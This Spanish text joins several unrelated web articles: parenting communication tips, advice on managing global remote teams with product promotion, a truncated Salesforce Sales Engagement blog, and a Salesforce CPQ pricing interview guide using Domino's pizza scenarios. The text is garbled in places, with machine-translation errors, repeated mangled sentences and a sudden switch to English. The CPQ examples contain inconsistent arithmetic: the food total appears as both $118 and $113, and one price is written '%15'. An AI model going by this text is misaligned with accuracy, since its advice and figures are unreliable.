  • Consejos: “¡Cuidado, Te atropellara un auto!”
  • Declaraciones de Martyrdom: “Que estás tratando de hacer .. darme un ataque cardiaco?”
  • Comparaciones: “Porque no puedes ser más como tu hermano?”
  • Sarcasmo: “¡Eso fue brillante lo que hiciste!”
  • Profecía: “Nadie va a querer jugar contigo.”

Todos estos métodos hacen que tus hijos se sientan mal. Existe un mejor modo por supuesto de involucrarte en su cooperación. Cinco mejores modos de ser exacto: 

  • Describe lo que ves, o describe el problema

Es más fácil concentrarse en el problema cuando alguien te lo describe” Hay una toalla mojada arriba de la cama.”

  • Dar información.

La información es mucho más fácil de aceptar que la acusación. También le da a los niños la oportunidad de descubrir que hacer: La toalla está mojando mi sabana.”

  • Dilo con una palabra

A los niños no les gusta escuchar discursos, sermones y largas explicaciones. Para ellos a veces menos es más: Querido … la toalla.”

  • Habla sobre tus sentimientos.

En vez de hablar sobre el carácter de tu hijo comienza tus oraciones diciendo “Me gusta” o “Siento…” De ese modo puedes ser genuino sin dañar al otro: “¡No me gusta dormir en una cámara húmeda!”

  • Escribe una nota.

Sé creativo. Escribe este tipo de nota arriba de la toallas: Por favor poneme nuevamente para que pueda secarse! Gracias! Tu toalla!.”

Alternativas al castigo

Como saben la mayoría de los padres los castigos no funcionan por lo general. Y la mayoría de los psicólogos de niños saben porque: los castigos son realmente distracciones ya que por lo general inspiran a los niños a reajustar a las circunstancias comenzar a  pensar en términos de revancha en vez de hacer enmiendas. En otras palabras, castigar a un niño realmente los priva del proceso interno muy importante de entregar su propio mal comportamiento. ”

Afortunadamente existen diversas alternativas al castigo que deberían funcionar y que pueden utilizarse en aquellas situaciones tramposa cuando nada más ocurre::

  • Expresa tus sentimientos fuertemente – sin atacar el carácter.

“Estoy furiosa que mu nueva saw fue dejada afuera para arruinarse con la lluvia!”

  • Establece tus expectativas.

“Espero mis herramientas sean devueltas luego de que hayan sido prestadas”

  • Demuestra a tu niña como hacer enmiendas.

“Lo que está saw necesita ahora es un poco de steel wool y mucho elbow grease.”

  • Ofrece una opción.

“Puedes pedir prestadas las herramientas y regresarlas o puedes rendirte al privilegio de usarlas. Tu decides.”

  • Toma acción.

Nino: “¿Por qué está trabado la caja de herramientas?”

Padre: “Tú dime por qué.”

  • Problema-solución.

“qué podemos hacer para que puedas utilizar mis herramientas cuando las necesitemos y por lo tanto estoy seguro que están allí cuando las necesitamos?

Fomentar la autonomía en los niños

Tan doloroso como pueda sonar y sentir tu objetivo como padre es fortalecer la independencia individual. En otras palabras, nunca olvides que todo amor y dedicación que inviertas en la paternidad debe resultar en la separación.

En consecuencia en vez de presionar y tratar de obtener copias carbónicas de ti mismo puede ser una buena idea comenzar a fortalecer la autonomía en tus hijos desde edad temprana. Esto es como: 

  • Permite a tus hijos tomar opciones donde sea posible.

“¿Tienes ganas de ponerte tus pantalones grises o rojos?” 

  • Demuestra respeto por la pelea de un hijo.

“Atarse los cordones lleva un gran trabajo de motricidad fina.”

  • No hagas demasiadas preguntas.

En vez de preguntar, ¿Cómo te gusta la composición? solo di “Me encanta verte! y abraza a tu hijo luego de la escuela. .

  • No te apures a contestar las preguntas.

Cuando los niños hacen preguntas, merecen la oportunidad de explorar la respuesta por ellos mismos primero. Permiteles simular sus pensamientos: ¿Por qué llueve? es una respuesta interesante. ¿Qué piensas?”

  • Anima a los niños a utilizar recursos fuera de casa

No hagas que tu hijo sea dependiente de til Permitirles experimentar el mundo, Cuando te pregunten: qué debería hacer con mi angelote: Luce enfermo, trata de decir algo como: Quizás el dueño de la tienda de mascotas debería tener una sugerencia, en vez de contestar. 

  • No saques la esperanza

La peor cosa que puedes decir a un niño expresando su esperanza para una carrera en ingeniería es “ con notas de matemáticas como las tuyas, ¡Olvídate!” Tratar de protegerlos de la disolución es realmente protegiendolos de la esperanza y de la lucha y a veces de alcanzar sus sueños. Una vez más, Ve por algo más estimulante: Entonces estás considerando una carrera como ingeniería?> Contame más.”

Elogio y Autoestima

Nada es más importante que la autoestima de uno, la única clave más significante al comportamiento de uno,” De acuerdo al psicoterapeuta nortemaericano canadiense Nathaniel Branden. Los niños no son una expedición a la regla sino que el elogiarlos puede tener efectos negativos también. 

Los ninos no son una expcoiona esta reglam pero elogiarlos peden tener un efecto negativo tambien. Encontrar el equilibrio justo es tramposo pero alcanzable. De acuerdo a Faber y  Mazlish, la clave es ser decriptivo en tus elogios para tus hijosm en vez de simplemente evaluativo (Bien, Genial! Fantastico!) mientras que el ultimo puede causar orgullo en eceso, el primero da el contetxti y de este modo equilibr los elogios en caracteristicas deseables. Funciona asi: 

  • Describe lo que ves.

“Ves un piso limpio, una cama comoda, y libros ordenados en el estante.”

  • Describe lo que sientes.

“Es un placer caminar en este cuarto!”

  • sintetiza el comportamiento loable de tu hijo con una palabra,

 “Ordenaste tus legos, autos y animales de la granja y los pusiste en cajas separadas. Ahora eso es lo que llamó organización!”

Libera a los niños de los juegos de roles

El modo en que los padres ven a sus ninos puede influenciar no solo el modo en que los ninos ven a ellos mismos sino tambien el modo en eque se comportan. Piensa en ellos como una “molestia,” y se sentiran que tienen que clasificarlos; piensa en ellos como competentes y no se tentaran de rendirse al primer error. En realidad los ninos son, o deberian poder serm todo eso, y mas. En consecuencian tratalos como seres humans unidimensionales limita su potenical y puede tener efectos desastrososa la rgo plazo. Los padres necesitan desarrollar las siguientes seis habilidades para poder liberarse de sus ninos de la carga de etiquetas casualmente adquiridas (y por lo general no deseadas) y liberarlos de jugar roles. 

  • Busca oprtunidades para demostrar a tu nino una nueva imagen de ellos mismos. 

“Has tenido ese juguete desde que tenias tres y luce como nuevo!”

  • Pon a los ninos en situaciones donde peuden verse a ellos mismos de manera diferente.

“Sara, te gustaria llevar el desatornilladore y ajustar las manijas de esos cajones?”

  • Permite a los niños que escuchen decir algo positivo de ellos mismos.

“Dejó el brazo quieto aunque le dolió el pinchazo.”

  • Modela el comportamiento que te gustaría ver.

“Es difícil perderse pero tratará de ser un deporte sobre eso. Felicitaciones. Congratulations!”

  • Es un Almacén para los momentos especiales de tu hijo.

“Recuerdo la vez en que . . .”

  • Cuando tu hijo se comporte de acuerdo a la edad establece tus sentimientos y o expectativas.

“No me gusta eso. A pesar de tus sentimientos fuertes, yo espero que seas un deportista 

Notas Finales

Cada padre desea criar a su hijo de manera feliz e independiente con la cantidad exacta de autoestima y determinación. 

En vez de tomar todas estas decisiones cuando sea posible ofrece a tus hijos opciones. ¡Y rspetalas!

Claves Para Manejar Equipos Globales Con Exito

A medida que crece la economía mundial más empresas están ayudando a la expansión internacional. Esto se refiere a la confianza en la fuerza de trabajo dispersa. Se ha transformado en algo muy común el tener empleados remotos en diferentes lugares.

La mayoría de los empleados prefieren trabajar con empresas que ofrezcan trabajo remoto. Considerando que hasta el 25% de la fuerza de trabajo global en las empresas son 100% remoto y tienen políticas de equipos virtuales, podemos decir que apoyando una entorno de trabajo diverso es también celebrado de manera mundial.

¿Quieres aprender cómo navegar en las complejidades de manejar un equipo global? NoHQ tiene recursos accionables que pueden ayudarte a alcanzarlo. En este artículo se explora la importancia de los equipos globales para tu empresa. También aprenderás consejos prácticos que te ayudarán a construir de manera exitosa equipos globales que funcionen.

¿Por qué son importantes los Equipos Globales?

Las empresas internacionales funcionan mejor cuando tienen talentos alrededor del mundo. ¿Por qué? 

  • Los Equipos Globales Fomentan la inclusividad y la diversidad en tu empresa. Con su amplio rango de experiencia. los miembros del equipo distribuidos pueden ayudar a crear y desarrollar estrategias y soluciones. Además trabajar en diferentes husos horarios iguala una estructura de soporte flexible y mayor alcance. Porque los miembros del equipo están disponibles más horas durante el día, pueden responder a la lista de clientes global. 
  • Otra importancia de los equipos globales es la productividad aumentada. Ya que buscan tareas en diferentes zonas horarias tienden a complementar proyectos más rápidamente. Sin importar si el 31 % de los profesionales de recursos humanos estableciera  la productividad como el beneficio central de los equipos globales.
  • Los equipos globales efectivos ayudan a las empresas a competir en el mercado actual sin límite de zonas. 

Pero, ¿cómo se gerencia de manera efectiva a tus equipos a través de los límites y establecer su éxito? 

10 Modos Para Manejar de Manera Exitosa a Los Equipos globales

1. Programa Reuniones Regulares Para El Equipo Completo

Tener reuniones de equipo programadas es la clave para tener equipos comprometidos y alineados. Esto es cierto incluso para los equipos distantes socialmente. Las reuniones son oportunidades de colaboración esencial que ayudan a los miembros a trabajar juntos, compartir ideas y lograr objetivos. 

Ya que los equipos tienen un tiempo limitado en común, es mejor que tengan reuniones de equipos estructuradas con agendas bien planeadas. Asegúrate de adherirte a los horarios de rutinas y crear una retina que funcione para todos. 

El 96% de los que respondieron a este estudio acordaron que la conferencia por video favorece la conectividad entre los equipos remotos. También ayuda a los miembros del equipo a construir empatía y confianza. Por lo tanto elige plataformas como Zoom, GoogleMeet, o Skype.

2. Invierte en Herramientas de Control de Tareas

Las herramientas de control de tareas y de proyectos son programas basados en la nube que te permiten mantener un registro de las tareas de tu equipo y plazos. Pueden enviar recordatorios y dar informes diarios, semanales y mensuales. Las aplicaciones de seguimiento de tiempo son una inversión excelente si tu empresa paga por hora.  

Estos programas te ayudan de manera efectiva a manejar el equipo de tu equipo a donde estén. Asignar tareas, establecer plazos y monitorear su progreso de manera simultánea. La mejor parte? Los miembros de equipo que trabajan en proyectos compartidos pueden ser elegidos en lugares desocupados por otros. Las aplicaciones de seguimiento de tareas como Asana, Monday.com, y Trello pueden ayudarte a manejar un equipo global de manera efectiva. 

3. Mejora la Comunicación

Manejar el flujo de trabajo, agendas y tareas a través de los diferentes lugares y zonas horarios puede ser desalentador. Incluso con herramientas de manejo de proyectos, los mensajes pueden ser a veces perdidos en la traducción. 

Garantizar que tienes una comunicación clara y frecuente con cada miembro del equipo es un modo de fomentar el compromiso del empleado y construir equipos globales que funcionen. Asegúrate de discutir las expectativas para cada rendimiento, progreso, desafíos y cambios de cada miembro del equipo. 

Crea oportunidades para que ellos sugieran ideas y resuelvan desacuerdos cuando sea necesario. La comunicación uno a uno también crea espacio para la devolución honesta de ambos lados. 

4. Ofrece Critica Constructiva

Un feedback honesto y abierto crea relaciones basadas en la confianza contigo y con tu equipo. Es también una oportunidad para seguir su crecimiento profesional y ofrecer consejo que pueda mejorar su rendimiento laboral. Nótese que es mejor dar una crítica constructiva y feedback durante las reuniones uno a uno. Las mismas pueden ser realizadas una vez por mes, cada tres meses o al final de un proyecto.

El mejor modo de dar feedback es:

  • Garantizar que tu rendimiento sea específico. 
  • Ofrecer premios y halagos por sus contribuciones y exitos.
  • Dirigirlos a recursos relevantes para ayudarlos a mejorar.

5. Contrata a la gente correcta 

Cuando contratas, busca gente que tenga la experiencia y el perfil para tu empresa. No todos pueden manejar el trabajo remoto. Contratar a la persona equivocada puede rápidamente ocasionar problemas para tu equipo global. Para evitar esto, haz que el candidato tome evaluaciones de personalidad relevantes. También debes corroborar sus referencias.

¿Quieres estar seguro en cómo reclutar para trabajos remotos? NoHQ es una gran plataforma que ayuda a suavizar los desafíos de contratación globales para muchas empresas. Reimagina tu proceso de contratación remota con tu guía de contratación.

6. Anticípate a los Obstáculos 

Trabajar de manera remota tiene su único conjunto de obstáculos. Piensa en distracciones como los ruidos de vecinos, niños, lavarropas o incluso de las mascotas. Esto puede afectar la capacidad de cada miembro de equipo para focalizarse y ser productivo. anticiparse a estos obstáculos únicos te ayudarán a ofrecer el apoyo correcto a tu. Equipo remoto. También estarán mejor preparados para superar obstáculos y alcanzar los objetivos establecidos. 

Para manejar a los equipos globales exitosamente, considera ofrecer opciones de trabajo alternativa donde sea posible. También, trata de no restringir sus horas de trabajo a un horario específico. La mayoría de las personas que trabajan remoto tienden a ser más productivas en horarios pocos comunes del día, desde la medianoche a la madrugada. 

7. Toma nota de las diferencias culturales

Los equipos globales tienden a incluir gente de diferentes culturas y profesiones. Los miembros de equipos pueden sentirse irrespetuosos o ignorados cuando estas diferencias no son reconocidas. Para evitar esto, fomenta las conversaciones respetuosas e inclusivas sobre las diferencias culturales.  Esto abrirá posibilidades al equipo y mejores modos de manejar ciertas situaciones. Junto con un entendimiento profundo de requisitos culturales diferentes y prácticas comerciales, serás capaz de dete,Omar como las diferencias afectaran a otros miembros del equoipo.

8. Crea una comunidad Virtual 

Los empleados que trabajan de manera remota tienden a sentirse fácilmente dejados. Para garantizarles que permanecen comprometidos: construye una comunidad virtual donde todos se sientan parte d e una familia. Esto disparará una colaboración cultural y unión en el equipo.

¿Como puedes hacerlo? Tecnología de apalancamiento y herramientas de colaboración. Además no todo es trabajo, cuando estés trabajando con equipos globales, puedes organizar reuniones de café virtual, almuerzos o,momentos de recreación. Esto los ayudará a establecer conexiones y fomentar el espíritu de equipo.

9. Brinda todos los recursos necesarios 

El brindar apoyo a los empleados reomots incluye darles todos los recursos que necesitan para realizar el trabajo. Para gaarntizar el exito de tu esfuerzos en el gerenciamiento del proyecto global, no pases por alto las necesidades de tu equipo.  

Si existiera una falla en la comunicacion, construyela con entrenamiento del idioma y clases de oratoria. Los empleados probalblemnte tengan exito en sus trabajos cuando existen oportinades de desarrollo porfesional .

10. Implementa Paquetes y Beneficios de Compensación Justa

:Los paquetes de compensación y los beneficios son fundamentales al contratar y retener a los empleados. Compensation packages, and perks are instrumental in hiring and retaining employees. Although providing free catered lunches and gym memberships may work for office-based employees, they won’t for global teams. 

Some tried and trusted perks for remote employees include: 

  • paid time off
  • WFH equipment
  • child care assistance
  • coworking stipend
  • learning stipends for online classes, etc.

Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Nunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas

Última actualización el 1 de noviembre de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participación de ventas?

Objetivos:

Después de leer este blog, podrás:

  • Comprender la captura de datos modificados
  • Comprender el objeto ActionCadenceTracker
  • Suscríbase para cambiar eventos mediante un activador de Apex
  • Llamar a un flujo iniciado automáticamente desde la clase Apex
  • Y mucho más.

👉 Anteriormente, escribí un artículo sobre Sales Engagement. ¿Por qué no echarles un vistazo mientras lo haces?

  1. ¿Ya ha recorrido el camino de ladrillos amarillos de la cadencia de ventas?

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea específica. Siempre que un vendedor por teléfono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participación de ventas, asegúrese de la creación automática de una tarea con estos detalles:

  • Asunto : – Cliente potencial eliminado de la cadencia de participación en ventas
  • Estado : – No iniciado
  • Prioridad :- Alta
  • Fecha de vencimiento : – Hoy
  • Relacionado con : – Plomo
  • Asignado a : – Propietario principal

¿Qué es la cadencia de participación en ventas?

La adquisición de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, están listos para emprender actividades de divulgación. ¡Pero espera! Demos un paso atrás y reflexionemos sobre las siguientes preguntas como preámbulo para comprender la cadencia de ventas: (1) ¿Con qué frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) ¿Cómo le gustaría que se comunicaran con el cliente potencial, mediante llamada o correo electrónico? (2) ¿Cómo desea capturar la disposición de las llamadas? (3) etcétera.

La cadencia de participación de ventas es una línea de tiempo de las actividades y métodos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El propósito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluiría una lista de las cosas que hace para programar la primera reunión.

Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electrónico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinación de las tres formas de comunicación mencionadas.

Una cadencia de participación de ventas se parece a esto:

HVS.png

En otras palabras, las cadencias de participación de ventas difieren de un tipo de proceso de ventas a otro, pero la idea básica sigue siendo la misma: toques consistentes y secuenciales.

¿Qué es la captura de datos modificados?

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🤤 ¡Decodificación de precios, descuentos y preguntas de la entrevista en cascada de precios de Salesforce CPQ con escenarios de Domino's Pizza! 🍕

🤤 ¡Decodificación de precios, descuentos y preguntas de la entrevista en cascada de precios de Salesforce CPQ con escenarios de Domino's Pizza! 🍕

Enlace de Whatsapp para el grupo Salesforce CPQ

¿Está listo para profundizar en los métodos de fijación de precios de Salesforce CPQ, el modelo de cascada de precios y los descuentos de CPQ? Entenderemos los precios de Salesforce CPQ y abordaremos las preguntas de la entrevista con la ayuda de las deliciosas ofertas de Domino. 🤤📊🍕

Dominó's Pizza | Akron OH

¿Cuáles son los métodos de fijación de precios en Salesforce CPQ?

Métodos de fijación de precios

¿Cuál es el precio de lista en Salesforce CPQ?

Precios en Salesforce Cpq

El precio de lista es el precio que se recupera de la entrada del libro de precios. Una parte importante del precio de lista es la entrada en el libro de precios, ya que los precios se invocan desde el libro de precios. Cada producto debe tener una entrada en el libro de precios; de lo contrario, el producto no aparecerá en la página de selección del editor de líneas de cotización.

Por ejemplo, Domino's tiene su nueva pizza “AI Extravaganza”, con un precio de $24 en su lista de precios CPQ. Ese es nuestro precio de lista. Ahora, en “Techie Night”, ofrecen un 20% de descuento para todos los entusiastas de la tecnología. Salesforce CPQ toma el precio de lista de $24, calcula el descuento del 20 % y al cliente se le ofrece la pizza a $19,20. Pero sin que la entrada del libro de precios de lista establezca el precio de lista.

¿Cuál es el precio de costo?

El precio de costo se utiliza cuando un producto cuesta una cantidad específica para obtenerlo, luego puede agregar el precio de costo y agregar el precio de margen al producto. El margen de beneficio se puede negociar entre los representantes de ventas y el cliente. El precio de costo es el precio que se completa en el precio especial. campo.

Imagine la nueva pizza “AI Extravaganza” de Domino's. Los ingredientes, la mano de obra y los costos generales suman hasta $15 por pizza: ese es nuestro precio de costo. Ahora, Domino's quiere una parte de las ganancias, por lo que añaden un margen de beneficio. Digamos que lo aumentan en $9, lo que hace que el precio de lista sea de $24 (el precio que ves en el menú).

¿Qué es el precio por bloque?

Los precios en bloque son los precios que se actualizan en función de las cantidades del producto comprado. Por ejemplo, un paquete de 1 a 10 unidades costará 10 $, 10 a 20 unidades costará 18 $ y así sucesivamente.

Para configurar el precio por bloque necesitamos actualizar los 4 datos.
Nombre: establezca el nombre para bloquear el método de fijación de precios.
Límite inferior: la cantidad más baja para el rango de cantidades.
Límite superior: la cantidad más alta para el rango de cantidades.
Precio: Precio que se configurará para el rango de cantidad determinado.
Precios en Salesforce Cpq
Nota: El límite superior del precio de un bloque y el límite inferior del precio del siguiente bloque deben ser iguales.

Entendamos con la ayuda del escenario de Dominos, imaginemos el precio en bloque como la oferta especial de Domino's en sus pizzas, pero en lugar de "Compre 1, obtenga 1 gratis", es más como "¡Compre más, ahorre más!". Este enfoque se utiliza en Salesforce CPQ para alentar a los clientes a comprar en mayores volúmenes reduciendo el precio unitario a medida que aumenta la cantidad.

Digamos que Domino's está vendiendo su pizza "AI Extravaganza" e introduce una estrategia de precios en bloque para impulsar las ventas:

– **Nombre**: “Acuerdo en bloque de extravagancia de IA”

– **Límite inferior**: 1 (número mínimo de pizzas)

– **Límite superior**: 10 (número máximo de pizzas antes del siguiente bloque)

– **Precio**: $24 por pizza

Entonces, si pides entre 1 y 10 pizzas “AI Extravaganza”, cada una te costará $24. Pero Domino's quiere incentivarlo a pedir más para sus reuniones tecnológicas o noches de juegos, por lo que presenta lo siguiente:

– **Límite inferior del siguiente bloque**: 11

– **Límite superior del siguiente bloque**: 20

– **Precio del siguiente bloque**: $22 por pizza

Con esta oferta, si pides de 11 a 20 pizzas, el precio baja a $22 cada una. Los asistentes están contentos porque hay mucha pizza y Domino's está encantado con el pedido más grande. ¡Es beneficioso para todos!

Entonces, el precio por bloque es como desbloquear descuentos por volumen: cuanto más pides, más barata se vuelve cada pizza.

¿Qué es el porcentaje del total?
El porcentaje del total se calcula en función del porcentaje de la suma de todos los demás productos que se compran. Por ejemplo, la propina por una cuenta en un restaurante se calcularía en esta categoría.
Para implementar el porcentaje del total, necesitamos actualizar los siguientes campos en los productos:
Método de fijación de precios: configúrelo en "Porcentaje del total"
Porcentaje de la base total: este campo dice en qué campo de precio debemos implementar el porcentaje del total.
Anulación de precio de opción: este precio funcionará solo en el producto del paquete. Las opciones del producto son la opción del paquete. Puede anular el precio del producto si se vende de forma independiente y junto con el paquete.

¡Sumerjámonos en el concepto de “porcentaje del total” con un delicioso escenario de Domino!

Imagina que estás organizando una gran noche de juegos. Entonces, pides una variedad de pizzas, guarniciones y postres, suficiente para satisfacer los diversos antojos de tus amigos. Aquí hay un desglose de su pedido:

5 pizzas a $15 cada una $75
4 órdenes de pan de ajo a $5 cada una $20
3 pasteles de lava a $6 cada uno $18
Total $118
Las bebidas son una entidad separada.
6 botellas de refresco a $2.50 cada una %15

Así es como se integra en Salesforce CPQ:

Método de fijación de precios: seleccionaron "Porcentaje del total". Es dinámico y cambia con sus opciones y porciones de alimentos.

Porcentaje de la base total: se define como la “factura total de alimentos”, que es el costo de pizzas, guarniciones y postres, por un total de $113. Tus refrescos están fuera de esto.

Anulación de precio de opción: normalmente, una botella de cola de Domino's cuesta $2,50, pero usted pidió el "¡Combo!" ¡Este privilegio combinado reduce el costo de los refrescos a $1.80 por botella, lo que le permite ahorrar $4.20 en bebidas!

Total

El “impuesto de fiesta” es el 10% de $113, por lo que son $11,30. El costo total de la comida fue de $113, las bebidas fueron de $15 y con el descuento en bebidas debido a la oferta "Combo", restas $4.20 y luego sumas tu "Impuesto de fiesta" de $11.30. Entonces, ¡el total general de la noche es $135,10!

¿Explica el concepto de “precio de opciones”?

Imagina que estás organizando una fiesta de pizza y Domino's tiene esta oferta llamada "Paquete de fiesta de pizza", que incluye pizzas, guarniciones y bebidas.

Así es como funciona:

Precio opcional: en el “Paquete para fiestas de pizza”, el pan con ajo no cuesta $5; ¡cuesta solo $ 3,75! Obtiene un recorte de precio porque está en un paquete.

Pasos:

1. Primero, agrega pan de ajo a su carrito; sigue siendo $5.

2. Luego, eliges el “Paquete Pizza Party” y el pan de ajo en tu paquete ahora tiene un precio de $3.75.

Lo que sucede aquí, debido al concepto de Precio de Opción, es que el sistema verifica si el pan con ajo es parte del “Paquete de Pizza Party”. entra en vigor el precio con descuento de $ 3,75, como se especifica en la opción del paquete.

Precio de lista en Salesforce CPQ

¿Explicar las limitaciones en el precio de las opciones?

El precio de la opción no admite monedas múltiples, por lo que solo es posible definir el precio de anulación en una sola moneda.

¿Explicar los precios contratados en Salesforce CPQ?

Imagine que Domino's tiene una empresa cliente leal, “Pizza Lovers Texas Inc.”, una empresa local que pide pizzas para su personal todos los viernes. Dado que realizan pedidos con tanta frecuencia y al por mayor, Domino's quiere ofrecerles una oferta especial.

Así es como funciona:

1. Normalmente, una pizza vegetariana grande cuesta $15. Pero para Pizza Lovers Texas, Domino's establece un precio contratado de 12 dólares por pizza, un gesto de lealtad.

  1. En el sistema CPQ Salesforce de Domino, van a la cuenta de Pizza Lovers Texas.
  2. Navegue a la pestaña "Relacionados" y, en la sección "Precios contratados", hagan clic en "Nuevo".
  3. Seleccionan la pizza vegetariana en el campo "Producto" e ingresan $12 en el campo "Precio": se establece el precio contratado.

¡Consejos profesionales sobre precios contratados! 🍕✨

1. No hay ofertas dobles: si Pizza Lovers Texas Inc. tuviera dos precios contratados diferentes para la misma pizza vegetariana, un contrato la ofrece a $12 y otro anterior a $14. El sistema Salesforce de Domino no sabría cuál debo elegir. Para evitar esto, CPQ se asegura de tener solo UN precio contratado por producto para cada cuenta.

2. Excepciones de precios especiales: los productos que utilizan métodos de fijación de precios, precios en bloque o porcentaje del precio total, no funcionan con el precio contratado.

3 Asuntos familiares: si las Cuentas están vinculadas por una relación padre-hijo, entonces, de forma predeterminada, todos los hijos heredan el Precio Contratado creado en la Cuenta Padre.

Digamos que PizzaLovers Texas Inc. es parte de un imperio más grande, "PizzaLovers Universe", con subsidiarias como "PizzaLovers Chicago" y "PizzaLovers Bay" instaladas en diferentes ubicaciones. Domino's establece un precio contratado con la empresa matriz, "PizzaLovers Universe". Salesforce CPQ aplica automáticamente este precio contratado a todas las subsidiarias de PizzaLovers porque, en el mundo de la pizza, la familia está unida.

¿Explique el caso de uso de 'Ignorar precios contratados por los padres'?

¿Qué pasa si “PizzaLovers Chicago” negocia un trato exclusivo y diferente porque piden el doble cada viernes? Domino's simplemente cambia la opción "Ignorar precios contratados de la empresa matriz" a verdadero en esa cuenta, asegurando que "PizzaLovers Chicago" obtenga su oferta única, mientras que el resto aún se beneficia del precio contratado de la empresa matriz.

¿Explicar el precio “Anulación manual” en los precios de Salesforce CPQ? 🍕🔥

1.Crea tu propia pizza:

¿Por qué Domino's cobraría más cuando construyes tu propia pizza en lugar de personalizar una pizza especial? – Cuida tus decisiones

Dominos sabe que a veces quieres crear tu propia pizza. Por lo tanto, establecieron el campo "Precio editable" en verdadero en el producto "Crea tu propia pizza". Ingresa al Editor de líneas de cotización y puede ajustar el precio de lista según la cantidad y el tipo de ingredientes que elija para esa pizza.

Anulación manual en los precios de Salesforce CPQ

2. Flexibilidad:

Domino's ofrece conexión Wi-Fi gratuita en sus restaurantes. El Wi-Fi normalmente se "vende" usando el "Método de precio = Lista", pero para reservas de grupos grandes, lo ofrecen como un beneficio, parte del "Método de precio = Porcentaje del total" con la factura total. Para cambiar entre estos métodos, hacen que el campo "Método de fijación de precios" sea editable en el Editor de líneas de cotización configurando "Método de fijación de precios editable" en verdadero para el producto (en este caso, Wi-Fi).

Información de cotización en precios de Salesforce CPQ

3. Ofertas personalizadas para comidas personalizadas:

A veces, un cliente negocia un trato que no se ajusta a los métodos de fijación de precios habituales. Domino's responde configurando 'Método de fijación de precios = Personalizado' en el Editor de líneas de cotización. Luego, el personal puede establecer manualmente un precio personalizado.

establecer el método de fijación de precios en Salesforce CPQ

4. El lado sorpresa:

¿Alguna vez el personal de Domino's te recomendó pan de ajo con queso para pedir? A veces, lo agregan a su pedido como un artículo "Opcional" configurando el campo "Opcional" en verdadero en el Editor de líneas de cotización. No sumará su total, pero está ahí para que lo considere.

¿Explicar la cascada de precios?

Cascada | Geología, Erosión e Hidrología | Británica

¡Profundicemos en el concepto de cascada de precios en Salesforce CPQ! 💦

La cascada de precios de CPQ es un proceso/secuencia de varios pasos que utiliza diferentes precios y descuentos para llegar al precio neto (este es el campo de precio para el total de la línea de cotización/cotización).

Se describe como una cascada que se abre camino de arriba a abajo a través de los diferentes precios y descuentos/ajustes.

Precios de Salesforce CPQ y su descripción

1. Precio de lista:

Este es el punto de partida: el precio del menú. Digamos que el precio de lista de la pizza grande “ExtravaganZZa” de Domino's es de $20, como figura en su Libro de precios.

2. Precio Contratado:

Domino's tiene clientes leales, como el "Pizza Club", que cenan todos los martes. Han negociado un 5% de descuento en todas las pizzas a través de un programa de fidelización. Entonces, para ellos, el precio contratado para “ExtravaganZZa” no es $20 sino que baja a $19 ($20 menos 5%).

3. Precio especial:

En ocasiones, Domino's ofrece una promoción especial de un día, como “Cheesy Thursday”, donde todas las pizzas tienen un 10% de descuento adicional. Esta promoción se aplica sobre el Precio Contratado o el Precio de Lista. Para el leal “Pizza Club”, esto reduce su pizza de $19 a $17,10 para ese día.

4. Precio prorrateado:

Supongamos que un miembro del club quiere comprar la mitad de un “ExtravaganZZa” y la mitad de un “Veggie Delight” (también con un precio de 20 dólares). Dominos calcula un Precio Prorrateado, donde toman el Precio Especial ($17.10) y lo multiplican por un factor considerando el escenario de mitad y mitad, digamos 0.5 por cada mitad, lo que equivale a $8.55 por cada porción de media pizza.

5. Precio Regular:

Si no hay un escenario especial, se aplica el Precio Regular. Es el Precio Prorrateado o vuelve al Precio de Lista original. Entonces $19 por “ExtravaganZZa”.

En el contexto del escenario de Domino's pizza con Salesforce CPQ, analicemos en detalle el precio para el cliente, el precio para el socio y el precio neto.

6. Precio al cliente:

Es el precio final que paga un consumidor directo después de considerar todos los descuentos aplicables y precios especiales. Para los miembros del “Pizza Club” que cenen un “Cheesy Thursday”, el precio al cliente por un “ExtravaganZZa” sería la tarifa especial de $17,10.

7. Precio del socio:

El Precio de Socio es una tarifa especial que se ofrece a los socios comerciales, generalmente más baja que la tarifa estándar, para adaptarse a los márgenes de beneficio de los socios. Por ejemplo, una aplicación de entrega de alimentos 'Uber' podría recibir el "ExtravaganZZa" a un precio de socio de $16, lo que les permitirá aumentarlo para sus clientes.

8. Precio Neto:

Son los ingresos que el vendedor se queda con la venta después de deducir todos los descuentos, bonificaciones o rebajas. El precio neto refleja los ingresos reales que obtiene el vendedor por el producto antes de restar sus costos internos.

En el caso de Domino's, el precio neto es la cantidad que Domino's registra como ingreso por la pizza "ExtravaganZZa" vendida al miembro del club el "Cheesy Thursday".

¿Cómo puede Salesforce CPQ ayudar a una empresa a gestionar la complejidad de los precios de manera más eficiente?

Con Salesforce CPQ, en lugar de crear múltiples libros de precios, la empresa puede tener un libro de precios estándar y aplicar excepciones y ajustes de precios según sea necesario. Por ejemplo, si hay un descuento del 20 % a nivel nacional en la pizza "Veg Extravaganza", esto se puede aplicar además del libro de precios estándar sin crear uno nuevo.

¿Pueden los representantes de ventas ofrecer productos como parte de un paquete a un precio diferente con Salesforce CPQ, aunque sea el mismo producto que figura en el libro de precios?

Domino's 1 Pizza Grande (2 Toppings) + Coca Cola 2 Litros - Newegg.com

¡Sí! Salesforce CPQ permite configuraciones de precios avanzadas. Por ejemplo, una botella de “Coca-Cola” podría tener un precio de 2 dólares si se vende individualmente. Aún así, cuando forma parte del paquete “Family Feast” (que incluye pizzas, guarniciones y una bebida), el precio efectivo de la “Coca-Cola” dentro del paquete podría ser de solo $1,50. Este precio diferencial es posible dentro del mismo libro de precios debido a la flexibilidad de Salesforce CPQ.
